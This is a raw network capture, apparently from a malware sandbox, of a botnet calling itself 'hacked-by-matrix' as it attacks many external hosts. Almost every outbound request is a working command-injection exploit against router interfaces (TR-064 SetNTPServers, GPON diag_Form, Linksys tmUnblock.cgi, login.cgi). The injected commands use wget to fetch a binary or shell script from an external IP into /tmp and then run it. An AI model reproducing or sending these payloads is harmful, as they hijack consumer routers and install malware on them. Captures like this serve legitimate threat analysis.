Mar 2, 2024 12:38:32.411725044 CET	721	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: hacked-by-matrix SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>`cd /tmp;wget http://164.155.205.6/mips; chmod 777 mips; ./mips tr064`</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:
Mar 2, 2024 12:38:36.567013025 CET	721	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: hacked-by-matrix SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>`cd /tmp;wget http://164.155.205.6/mips; chmod 777 mips; ./mips tr064`</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:
Mar 2, 2024 12:38:36.857779026 CET	76	IN	HTTP/1.1 500 Internal Server Error Connection: Close Content-Length: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1567	192.168.2.23	43520	212.40.146.67	80

Timestamp	Bytes transferred	Direction	Data
Mar 2, 2024 12:38:32.450390100 CET	239	OUT	GET /login.cgi?cli=aa%20aa%27;wget%20http://164.155.205.6/matrixexp.sh%20-O%20-%3E%20/tmp/matrix;sh%20/tmp/matrix%27$ HTTP/1.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: hacked-by-matrix
Mar 2, 2024 12:38:33.591475964 CET	239	OUT	GET /login.cgi?cli=aa%20aa%27;wget%20http://164.155.205.6/matrixexp.sh%20-O%20-%3E%20/tmp/matrix;sh%20/tmp/matrix%27$ HTTP/1.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: hacked-by-matrix
Mar 2, 2024 12:38:45.805480957 CET	54	IN	Data Raw: 42 49 47 2d 49 50 3a 20 5b 30 78 31 62 35 30 61 32 32 3a 38 38 39 30 5d 20 7b 70 65 65 72 7d 20 54 43 50 20 72 65 74 72 61 6e 73 6d 69 74 20 74 69 6d 65 6f 75 74 Data Ascii: BIG-IP: [0x1b50a22:8890] {peer} TCP retransmit timeout

Session ID	Source IP	Source Port	Destination IP	Destination Port
1568	192.168.2.23	54994	152.165.200.155	7547

Timestamp	Bytes transferred	Direction	Data
Mar 2, 2024 12:38:32.738738060 CET	721	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: hacked-by-matrix SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>`cd /tmp;wget http://164.155.205.6/mips; chmod 777 mips; ./mips tr064`</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:
Mar 2, 2024 12:38:33.050159931 CET	76	IN	HTTP/1.1 500 Internal Server Error Connection: Close Content-Length: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1569	192.168.2.23	41442	13.42.110.188	80

Timestamp	Bytes transferred	Direction	Data
Mar 2, 2024 12:38:32.796638012 CET	324	OUT	POST /GponForm/diag_Form?images/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 36 34 2e 31 35 35 2e 32 30 35 2e 36 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://164.155.205.6/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0
Mar 2, 2024 12:38:32.954018116 CET	284	IN	HTTP/1.1 400 Bad Request Server: awselb/2.0 Date: Sat, 02 Mar 2024 11:38:32 GMT Content-Type: text/html Content-Length: 122 Connection: close Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center></body></html>
Mar 2, 2024 12:38:33.759088039 CET	284	IN	HTTP/1.1 400 Bad Request Server: awselb/2.0 Date: Sat, 02 Mar 2024 11:38:32 GMT Content-Type: text/html Content-Length: 122 Connection: close Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center></body></html>
Mar 2, 2024 12:38:34.722510099 CET	284	IN	HTTP/1.1 400 Bad Request Server: awselb/2.0 Date: Sat, 02 Mar 2024 11:38:32 GMT Content-Type: text/html Content-Length: 122 Connection: close Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
1570	192.168.2.23	45858	23.206.167.206	80

Timestamp	Bytes transferred	Direction	Data
Mar 2, 2024 12:38:32.921195984 CET	324	OUT	POST /GponForm/diag_Form?images/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 36 34 2e 31 35 35 2e 32 30 35 2e 36 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://164.155.205.6/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0
Mar 2, 2024 12:38:33.050091028 CET	431	IN	HTTP/1.0 400 Bad Request Server: AkamaiGHost Mime-Version: 1.0 Content-Type: text/html Content-Length: 209 Expires: Sat, 02 Mar 2024 11:38:32 GMT Date: Sat, 02 Mar 2024 11:38:32 GMT Connection: close Data Raw: 3c 48 54 4d 4c 3e 3c 48 45 41 44 3e 0a 3c 54 49 54 4c 45 3e 49 6e 76 61 6c 69 64 20 55 52 4c 3c 2f 54 49 54 4c 45 3e 0a 3c 2f 48 45 41 44 3e 3c 42 4f 44 59 3e 0a 3c 48 31 3e 49 6e 76 61 6c 69 64 20 55 52 4c 3c 2f 48 31 3e 0a 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 22 26 23 39 31 3b 6e 6f 26 23 33 32 3b 55 52 4c 26 23 39 33 3b 22 2c 20 69 73 20 69 6e 76 61 6c 69 64 2e 3c 70 3e 0a 52 65 66 65 72 65 6e 63 65 26 23 33 32 3b 26 23 33 35 3b 39 26 23 34 36 3b 35 64 31 66 31 65 62 38 26 23 34 36 3b 31 37 30 39 33 37 39 35 31 32 26 23 34 36 3b 32 30 64 33 35 35 62 31 0a 3c 2f 42 4f 44 59 3e 3c 2f 48 54 4d 4c 3e 0a Data Ascii: <HTML><HEAD><TITLE>Invalid URL</TITLE></HEAD><BODY><H1>Invalid URL</H1>The requested URL "[no URL]", is invalid.<p>Reference #9.5d1f1eb8.1709379512.20d355b1</BODY></HTML>

Session ID	Source IP	Source Port	Destination IP	Destination Port
1571	192.168.2.23	44930	66.68.33.209	80

Timestamp	Bytes transferred	Direction	Data
Mar 2, 2024 12:38:32.950164080 CET	312	OUT	POST /GponForm/diag_Form?images/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 36 34 2e 31 35 35 2e 32 30 35 2e 36 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://164.155.205.6/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0
Mar 2, 2024 12:38:33.751394033 CET	312	OUT	POST /GponForm/diag_Form?images/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 36 34 2e 31 35 35 2e 32 30 35 2e 36 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://164.155.205.6/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0
Mar 2, 2024 12:38:33.893270016 CET	500	IN	HTTP/1.1 400 Bad Request Content-Type: text/html Content-Length: 349 Connection: close Date: Sat, 02 Mar 2024 11:38:33 GMT Server: HTTP Server Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 69 73 6f 2d 38 38 35 39 2d 31 22 3f 3e 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 57 33 43 2f 2f 44 54 44 20 58 48 54 4d 4c 20 31 2e 30 20 54 72 61 6e 73 69 74 69 6f 6e 61 6c 2f 2f 45 4e 22 0a 20 20 20 20 20 20 20 20 20 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 54 52 2f 78 68 74 6d 6c 31 2f 44 54 44 2f 78 68 74 6d 6c 31 2d 74 72 61 6e 73 69 74 69 6f 6e 61 6c 2e 64 74 64 22 3e 0a 3c 68 74 6d 6c 20 78 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 31 39 39 39 2f 78 68 74 6d 6c 22 20 78 6d 6c 3a 6c 61 6e 67 3d 22 65 6e 22 20 6c 61 6e 67 3d 22 65 6e 22 3e 0a 20 3c 68 65 61 64 3e 0a 20 20 3c 74 69 74 6c 65 3e 34 30 30 20 2d 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 0a 20 3c 2f 68 65 61 64 3e 0a 20 3c 62 6f 64 79 3e 0a 20 20 3c 68 31 3e 34 30 30 20 2d 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 0a 20 3c 2f 62 6f 64 79 3e 0a 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <?xml version="1.0" encoding="iso-8859-1"?><!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"><html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en"> <head> <title>400 - Bad Request</title> </head> <body> <h1>400 - Bad Request</h1> </body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
1572	192.168.2.23	55906	146.148.142.167	80

Timestamp	Bytes transferred	Direction	Data
Mar 2, 2024 12:38:32.953094006 CET	312	OUT	POST /GponForm/diag_Form?images/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 36 34 2e 31 35 35 2e 32 30 35 2e 36 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://164.155.205.6/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0
Mar 2, 2024 12:38:33.787128925 CET	312	OUT	POST /GponForm/diag_Form?images/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 36 34 2e 31 35 35 2e 32 30 35 2e 36 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://164.155.205.6/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0
Mar 2, 2024 12:38:34.743292093 CET	312	OUT	POST /GponForm/diag_Form?images/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 36 34 2e 31 35 35 2e 32 30 35 2e 36 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://164.155.205.6/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0
Mar 2, 2024 12:38:36.664942026 CET	312	OUT	POST /GponForm/diag_Form?images/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 36 34 2e 31 35 35 2e 32 30 35 2e 36 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://164.155.205.6/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0
Mar 2, 2024 12:38:40.662511110 CET	312	OUT	POST /GponForm/diag_Form?images/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 36 34 2e 31 35 35 2e 32 30 35 2e 36 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://164.155.205.6/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0
Mar 2, 2024 12:38:48.344943047 CET	312	OUT	POST /GponForm/diag_Form?images/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 36 34 2e 31 35 35 2e 32 30 35 2e 36 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://164.155.205.6/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1573	192.168.2.23	53728	172.65.193.148	55555

Timestamp	Bytes transferred	Direction	Data
Mar 2, 2024 12:38:33.079206944 CET	437	OUT	POST /tmUnblock.cgi HTTP/1.1 Host: 127.0.0.1:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: hacked-by-matrix Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 74 74 63 70 5f 69 70 3d 2d 68 2b 25 36 30 63 64 2b 25 32 46 74 6d 70 25 33 42 2b 72 6d 2b 2d 72 66 2b 7a 65 6e 2e 6d 70 73 6c 25 33 42 2b 77 67 65 74 2b 68 74 74 70 25 33 41 25 32 46 25 32 46 31 36 34 2e 31 35 35 2e 32 30 35 2e 36 25 32 46 6d 70 73 6c 25 33 42 2b 63 68 6d 6f 64 2b 37 37 37 2b 6d 70 73 6c 25 33 42 2b 2e 25 32 46 6d 70 73 6c 2b 6c 69 6e 6b 73 79 73 25 36 30 26 61 63 74 69 6f 6e 3d 26 74 74 63 70 5f 6e 75 6d 3d 32 26 74 74 63 70 5f 73 69 7a 65 3d 32 26 73 75 62 6d 69 74 5f 62 75 74 74 6f 6e 3d 26 63 68 61 6e 67 65 5f 61 63 74 69 6f 6e 3d 26 63 6f 6d 6d 69 74 3d 30 26 53 74 61 72 74 45 50 49 3d 31 Data Ascii: ttcp_ip=-h+%60cd+%2Ftmp%3B+rm+-rf+zen.mpsl%3B+wget+http%3A%2F%2F164.155.205.6%2Fmpsl%3B+chmod+777+mpsl%3B+.%2Fmpsl+linksys%60&action=&ttcp_num=2&ttcp_size=2&submit_button=&change_action=&commit=0&StartEPI=1

Session ID	Source IP	Source Port	Destination IP	Destination Port
1574	192.168.2.23	50756	83.217.165.240	80

Timestamp	Bytes transferred	Direction	Data
Mar 2, 2024 12:38:33.087080956 CET	324	OUT	POST /GponForm/diag_Form?images/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 36 34 2e 31 35 35 2e 32 30 35 2e 36 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://164.155.205.6/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0
Mar 2, 2024 12:38:33.272145033 CET	240	IN	HTTP/1.1 400 Bad Request Content-Length: 0 Date: Sat, 02 Mar 2024 11:38:33 GMT X-Frame-Options: sameorigin Content-Security-Policy: frame-ancestors 'self' X-Content-Type-Options: nosniff X-XSS-Protection: 1; mode=block

Session ID	Source IP	Source Port	Destination IP	Destination Port
1575	192.168.2.23	44260	185.61.136.250	80

Timestamp	Bytes transferred	Direction	Data
Mar 2, 2024 12:38:33.088521004 CET	324	OUT	POST /GponForm/diag_Form?images/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 36 34 2e 31 35 35 2e 32 30 35 2e 36 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://164.155.205.6/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0
Mar 2, 2024 12:38:33.272226095 CET	499	IN	HTTP/1.1 400 Bad Request Date: Sat, 02 Mar 2024 11:38:33 GMT X-Frame-Options: SAMEORIGIN Content-Security-Policy: frame-ancestors 'self' X-XSS-Protection: 1; mode=block Content-Length: 226 Connection: close Content-Type: text/html; charset=iso-8859-1 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 0a 3c 70 3e 59 6f 75 72 20 62 72 6f 77 73 65 72 20 73 65 6e 74 20 61 20 72 65 71 75 65 73 74 20 74 68 61 74 20 74 68 69 73 20 73 65 72 76 65 72 20 63 6f 75 6c 64 20 6e 6f 74 20 75 6e 64 65 72 73 74 61 6e 64 2e 3c 62 72 20 2f 3e 0a 3c 2f 70 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>400 Bad Request</title></head><body><h1>Bad Request</h1><p>Your browser sent a request that this server could not understand.<br /></p></body></html>
Mar 2, 2024 12:38:33.766139030 CET	499	IN	HTTP/1.1 400 Bad Request Date: Sat, 02 Mar 2024 11:38:33 GMT X-Frame-Options: SAMEORIGIN Content-Security-Policy: frame-ancestors 'self' X-XSS-Protection: 1; mode=block Content-Length: 226 Connection: close Content-Type: text/html; charset=iso-8859-1 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 0a 3c 70 3e 59 6f 75 72 20 62 72 6f 77 73 65 72 20 73 65 6e 74 20 61 20 72 65 71 75 65 73 74 20 74 68 61 74 20 74 68 69 73 20 73 65 72 76 65 72 20 63 6f 75 6c 64 20 6e 6f 74 20 75 6e 64 65 72 73 74 61 6e 64 2e 3c 62 72 20 2f 3e 0a 3c 2f 70 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>400 Bad Request</title></head><body><h1>Bad Request</h1><p>Your browser sent a request that this server could not understand.<br /></p></body></html>

